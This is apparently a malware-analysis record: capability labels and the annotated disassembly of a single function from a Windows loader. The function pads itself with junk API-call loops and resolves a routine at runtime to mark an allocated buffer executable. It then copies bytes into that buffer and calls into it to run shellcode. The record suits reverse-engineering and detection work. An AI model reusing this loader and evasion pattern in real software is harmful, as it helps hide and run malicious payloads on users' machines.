Function at 0x403c93
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x207142
jg 0x403cc0
inc edi
cmp edi, 0x67d12
jl 0x403ca3
cmp dword [0x2818abc], 0x93
jne 0x403d72
push 0x4037f4
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCA]
push esi
push esi
push 0x403800
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuW]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuState]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push esi
push esi
push esi
push 0x403848
push 0x403880
push 0x4038d8
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobSet]
push esi
call fcn.004042c4
push esi
push esi
call fcn.004047b0
push esi
push esi
call fcn.004047eb
push esi
call fcn.00404c1a
push esi
push esi
call fcn.0040428d
add esp, 0x20
mov eax, dword [0x42ac2c]
add dword [0x2818abc], 0x1134b
push 0x40392c
mov dword [0x28198f8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x40393c
push eax
mov dword [0x281854c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x2818abc]
mov dword [0x2818540], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x2818abc]
mov dword [0x2818548], eax
push eax
call dword [0x2818540]
mov edi, 0x1692e
push esi
push esi
call dword [sym.imp.USER32.dll_GetComboBoxInfo]
push esi
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec edi
jne 0x403dd1
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x2818abc], esi
jbe 0x403e57
mov eax, dword [0x28198f8]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2818548]
mov byte [ecx + edi], al
cmp dword [0x2818abc], 0x490
jne 0x403e4e
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push esi
call ebx
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc edi
cmp edi, dword [0x2818abc]
jb 0x403e05
xor edi, edi
mov eax, dword [0x2818abc]
add eax, edi
cmp eax, 0x8d
jne 0x403e98
push esi
lea eax, [ebp - 0x408]
push eax
push esi
push 0x40387c
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push 0x40394c
push 0x403964
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
inc edi
cmp edi, 0x38681
jl 0x403e59
call fcn.00403bbb
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x61
jne 0x403ec6
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x6386
mov eax, dword [ebp - 4]
add dword [0x2818548], eax
inc edi
cmp edi, 0x674bd
jl 0x403ea8
push 0x7b
pop edi
cmp dword [0x2818abc], 0x86
jne 0x403f0e
push esi
push esi
push esi
push esi
push esi
push esi
push 0x403984
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadHugeWritePtr]
dec edi
jne 0x403ed2
push 0x4039bc
call ebx
call dword [0x2818548]
pop edi
pop esi
pop ebx
leave
ret